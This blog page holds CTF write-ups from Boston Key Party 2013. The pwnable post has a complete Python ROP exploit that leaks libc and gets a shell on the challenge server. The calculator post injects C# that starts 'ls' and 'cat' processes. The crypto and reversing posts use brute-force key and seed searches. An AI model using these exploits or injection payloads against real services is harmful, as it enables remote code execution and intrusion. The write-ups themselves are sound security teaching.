Showing posts with label Boston Key Party CTF. Show all posts
Showing posts with label Boston Key Party CTF. Show all posts

Tuesday, June 11, 2013

Boston Key Party CTF 2013 - Pwnable 200 - fss_gainesville - [Team xbios]

We were given a ELF 64-bit LSB executable. Its running on 50.112.133.81 30002. After analysing the binary, we found a buffer overflow vulnerability in pirep() function. This is how to trigger the vulnerability
(gdb) run 
 Welcome to Florida Gainesville Radio Flight Service Station

Would you like to: 
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit
> 5
Please enter coded PIREP: UB /OV OKC /TM 1522 /FL 080 /TP CE172 / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Invalid Report Type, consult documentation

Program received signal SIGSEGV, Segmentation fault.
0x000000000040171c in pirep ()
(gdb) info registers
rax            0x2b 43
rbx            0x0 0
rcx            0xffffffff 4294967295
rdx            0x38b7d7ae10 243602533904
rsi            0x7ffff7ffc000 140737354121216
rdi            0x0 0
rbp            0x4242424242424242 0x4242424242424242
rsp            0x7fffffffe128 0x7fffffffe128
r8             0x542074726f706552 6061973133285418322
r9             0x6e6f63202c657079 7957688056421904505
r10            0x636f6420746c7573 7165055622724744563
r11            0x246 582
r12            0x400820 4196384
r13            0x7fffffffe230 140737488347696
r14            0x0 0
r15            0x0 0
rip            0x40171c 0x40171c <pirep+487>
eflags         0x10206 [ PF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0
(gdb) x/i $rip
=> 0x40171c <pirep+487>: retq
Sending a PIREP in proper format with 160 bytes overwrites saved RIP. Input is taken using read function as read(0, $RBP-0x90, 0x400). NX, stack and libc ASLR are enabled. We need to built a ROP payload to bypass these protections. Along with the binary, we also have the libc library used in the remote machine. Here is the plan of the exploit:

[*] Compute the offset difference between __libc_start_main and system functions from the given libc.so.6 file
[*] Leak randomized address of __libc_start_main from the GOT entry of the executable
[*] Add the offset to the leaked address, this will give the address of randomized system function
[*] Load the registers with needed arguments, x86-64 uses different calling convention
[*] Jump into system function in libc to execute commands

To load register EDI .ie argument number 1, I used the below gadget
0x004018b0 : mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret
Since I couldn't find much gadgets to load other registers, puts() function was used for information leak. Unlike write(), puts() takes only one argument, so its enough to load register EDI with the GOT address of __libc_start_main. Here is the exploit structure

Stage ONE:
[*] Overwrite RBP with .bss address
[*] Overwrite RIP with address of gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Fill stack such that EDI is loaded with GOT address of __libc_start_main
[*] Return into address 0x0040174a, this is call to puts() in main() function. This also results in code replay
[*] Call to puts(), will leak address of randomized __libc_start_main

Stage TWO:
[*] RBP is restored to stack due to call of pirep() again from main()
[*] Fill stack using read(0, $RBP-0x90, 0x400) such that saved RIP points to gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Load EDI with the address of "sh" string
[*] Compute address of system function(leaked address + offset) and return into this address

Below is the exploit:
#!/usr/bin/env python

import struct
import socket

ip = "50.112.133.81"
port = 30002

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x0000000000021680
system = 0x0000000000045660
got_libc_start_main = 0x000000602240

PIREP = "UB /OV OKC /TM 1522 /FL 080 /TP CE172 / " # PIREP format
option = "5"
JUNK = "MOVEMOVE"

################################# stage 1 ####################################

print soc.recv(1024)
soc.send(option + "\n")
print soc.recv(1024)

payload  = PIREP
payload += "A" * 104
payload += struct.pack("<Q", 0x006022a0) # .bss address for RBP
payload += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38
payload += JUNK * 6
payload += struct.pack("<Q", got_libc_start_main)
payload += struct.pack("<Q", 0x0040174a) # replay code from call to puts() in main()

soc.send(payload + "\n")
leak = soc.recv(1024)
addr = struct.unpack("<Q", leak[43:49] + "\x00\x00")[0]
print hex(addr)

################################# stage 2 ####################################

print soc.recv(1024)
soc.send(option + "\n")
print soc.recv(1024)

payload2  = PIREP
payload2 += "A" * 104
payload2 += struct.pack("<Q", 0x006022a0) # .bss address for RBP
payload2 += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38
payload2 += JUNK * 6
payload2 += struct.pack("<Q", 0x0040046e) # addr of sh string
payload2 += struct.pack("<Q", (system - libc_start_main) + addr) # address of system

soc.send(payload2 + "\n")
soc.send("cat flag\n")
print repr(soc.recv(1024))
[ctf@renorobert fss_gainesville]$ python exploit.py
 Welcome to Florida Gainesville Radio Flight Service Station

Would you like to: 
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit

> 
Please enter coded PIREP: 
0x7f732a1a5680
> 
Please enter coded PIREP: 
'this_sexy86_n0t_mucho_2_$ay_:|\n'
The flag for the challenge is this_sexy86_n0t_mucho_2_$ay_:|

Boston Key Party CTF 2013 - Crypto 200 - MITM - [Team xbios]

We were given a text file with the below contents
message 1:  QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM=
encrypted:  THbpB4bE82Rq35khemTQ10ntxZ8sf7s2WK8ErwcdDEc=
message 2:  RWFjaCBrZXkgemVybyB1bnRpbCBsYXN0IDI0IGJpdHM=
encrypted:  01YZbSrta2N+1pOeQppmPETzoT/Yqb816yGlyceuEOE=
ciphertext: s5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U=
>>> import base64
>>> message1 = "QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM="
>>> message2 = "RWFjaCBrZXkgemVybyB1bnRpbCBsYXN0IDI0IGJpdHM="
>>> base64.b64decode(message1)
'AES-256 ECB mode twice, two keys'
>>> base64.b64decode(message2)
'Each key zero until last 24 bits'
So we have the following details:

[*] Two pair of plain text and cipher text
[*] AES-256 ECB mode is used, so no IV. Length of key is 32 bytes
[*] Message is encrypted twice with two keys
[*] 29 bytes of key is zero, bruteforce the last 3 bytes
[*] Name of the challenge says its Meet In The Middle Attack

To find the key:

[*] Generate a dictionary of all possible {cipher:key} from plain text(message1). Since we bruteforce last 3 bytes of key, there would be 256*256*256 entries
[*] Then decrypt the cipher text(encrypted1) using all possible key(2nd key) and lookup the dictionary {cipher:key}
[*] If there is a hit, thats our key pair (k1, k2)
[*] Decrypt the cipher text as Dk1(Dk2(Cipher))), thats our flag

Below is the code to do that:
#!/usr/bin/env python

from Crypto.Cipher import AES  # requires pycrypto package
from struct import pack
import base64
import sys

# ECB mode, each block of 16 bytes encrypted independently
plain_text = base64.b64decode("QUVTLTI1NiBFQ0IgbW9kZSB0d2ljZSwgdHdvIGtleXM=")[:16] 
cipher_text = base64.b64decode("THbpB4bE82Rq35khemTQ10ntxZ8sf7s2WK8ErwcdDEc=")[:16]
enc_message = base64.b64decode("s5hd0ThTkv1U44r9aRyUhaX5qJe561MZ16071nlvM9U=")

lookuptable = {}
key_prefix = pack("B", 0x00) * 29

# genarate list of possiblities
for i in range(256):
    for j in range(256):
        for k in range(256):
            brute = chr(i) + chr(j) + chr(k)
            cipher = AES.new(key_prefix + brute, AES.MODE_ECB).encrypt(plain_text)
            lookuptable.update({cipher:key_prefix + brute})

print "Lookup table Generated!"

for x in range(256):
    for y in range(256):
        for z in range(256):
            brute = chr(x) + chr(y) + chr(z)
            cipher = AES.new(key_prefix + brute, AES.MODE_ECB).decrypt(cipher_text)
            if lookuptable.has_key(cipher):  # find key
                key1 = lookuptable[cipher]
                key2 = key_prefix + brute
                c1 = AES.new(key2, AES.MODE_ECB).decrypt(enc_message)
                print AES.new(key1, AES.MODE_ECB).decrypt(c1)
                sys.exit(0)  
[ctf@renorobert BKPCTF]$ python solve200.py
Lookup table Generated!
This time I didn't include sol'n
Flag for the challenge is This time I didn't include sol'n

Boston Key Party CTF 2013 - Reverse 100 - Randy - [Team xbios]

Randy is a ELF 64-bit LSB executable. We have to figure out the valid key
[ctf@renorobert BKPCTF]$ ./randy 
Password: qwerty
:(
Analysing the binary, we notice the following

[*] Key is 28 characters long
[*] Each 4 bytes from key is used as seed argument for srandom() function ie. we have 7 blocks of 4 characters each
[*] Then random() function is called 4 times, on each block of 4 characters and generated numbers are compared to validate the key
[*] So the idea is to figure out the seed value used for srandom() function

We can bruteforce the seed value to figure out the key. Here is the C code to do this
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {

    unsigned int seed;
    long int rand;
    unsigned int de;
    unsigned int ad;
    unsigned int be;
    unsigned int ef;
 
    for(de = 0x20; de <= 0x7e; de++) {
        for(ad = 0x20; ad <= 0x7e; ad++) {
            for(be = 0x20; be <= 0x7e; be++) {
                for(ef = 0x20; ef <= 0x7e; ef++) {
                    seed = (de << 24 | ad << 16 | be << 8 | ef << 0 );
                    srandom(seed);
                    rand = random();
                    if(rand == 0x7358837a)
                        printf("Possible seed for 00-03 bytes: 0x%x\n", seed);
                    else if(rand == 0x34d8c3b5)
                        printf("Possible seed for 04-07 bytes: 0x%x\n", seed);
                    else if(rand == 0x1f49456c)
                        printf("Possible seed for 08-11 bytes: 0x%x\n", seed);
                    else if(rand == 0x1fea6614)
                        printf("Possible seed for 12-15 bytes: 0x%x\n", seed);
                    else if(rand == 0x4e81abc7)
                        printf("Possible seed for 16-19 bytes: 0x%x\n", seed);
                    else if(rand == 0x683d3f5d)
                        printf("Possible seed for 20-23 bytes: 0x%x\n", seed);
                    else if(rand == 0x28c9a8fe)
                        printf("Possible seed for 24-27 bytes: 0x%x\n", seed);
                }
            }
        }
    }
}
Running the code, we got the seeds in sometime
[ctf@renorobert BKPCTF]$ ./brute_randy 
Possible seed for 00-03 bytes: 0x2074306e
Possible seed for 24-27 bytes: 0x21212121
Possible seed for 08-11 bytes: 0x30646e34
Possible seed for 20-23 bytes: 0x31316120
Possible seed for 12-15 bytes: 0x3420306d
Possible seed for 04-07 bytes: 0x72203073
Possible seed for 16-19 bytes: 0x72337466
Now converting this to text gives us the valid key
>>> from struct import pack
>>> pack("<I",0x2074306e)+pack("<I",0x72203073)+pack("<I",0x30646e34)+pack("<I",0x3420306d)+pack("<I",0x72337466)+pack("<I",0x31316120)+pack("<I",0x21212121)
'n0t s0 r4nd0m0 4ft3r a11!!!!'
[ctf@renorobert BKPCTF]$ ./randy 
Password: n0t s0 r4nd0m0 4ft3r a11!!!!
:)
Flag for the challenge is n0t s0 r4nd0m0 4ft3r a11!!!!

Boston Key Party CTF 2013 - Misc 100 - Wolfram Beta - [Team xbios]

Wolfram Beta is a calculator service running on 54.218.12.97 34567.
[ctf@renorobert BKPCTF]$ nc 54.218.12.97 34567
Wolfram Beta - BkP CTF 2013 Team
Wolfram Beta is a great calculator.
just put in a number at the prompt
then put in the operator
then finally the second number
and the calculation will be done INSTANTLY
no accounts necessacary, unlike some of our competition!
first num: 1
operator: +
second num: 2
Thinking...
......
Done Thinking!
3
Triggering a crash gives valuable information about the service. Here is what division by zero gave:
first num: 1
operator: /
second num: 0
Thinking...
.......
Done Thinking!
{interactive}(1,3): error CS0020: Division by constant zero

Unhandled Exception: System.ArgumentException: The expression did not set a result
  at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0 
  at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0 
  at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0 
[ERROR] FATAL UNHANDLED EXCEPTION: System.ArgumentException: The expression did not set a result
  at Mono.CSharp.Evaluator.Evaluate (System.String input) [0x00000] in <filename unknown>:0 
  at wolfram_beta.MainClass.ReplCalculator () [0x00000] in <filename unknown>:0 
  at wolfram_beta.MainClass.Main (System.String[] args) [0x00000] in <filename unknown>:0
An Unhandled Exception is triggered. We can see the line Mono.CSharp.Evaluator.Evaluate. Now we know that the service is written in CSharp. The user input is evaluated as Mono.CSharp.Evaluator.Evaluate (System.String input). This results in code injection vulnerability
first num: 1
operator: +3;System.Diagnostics.Process proc=new System.Diagnostics.Process();proc.StartInfo.FileName="ls";proc.StartInfo.Arguments="-a";proc.Start();
second num: 5
Thinking...
.
Done Thinking!
5
first num: .
..
.bash_history
.bash_logout
.bashrc
.profile
b
flag
first num: 1
operator: +3;System.Diagnostics.Process proc=new System.Diagnostics.Process();proc.StartInfo.FileName="cat";proc.StartInfo.Arguments="flag";proc.Start();
second num: 5
Thinking...
..
Done Thinking!
5
first num: at_least_its_not_a_python_jail 
Flag for the challenge is at_least_its_not_a_python_jail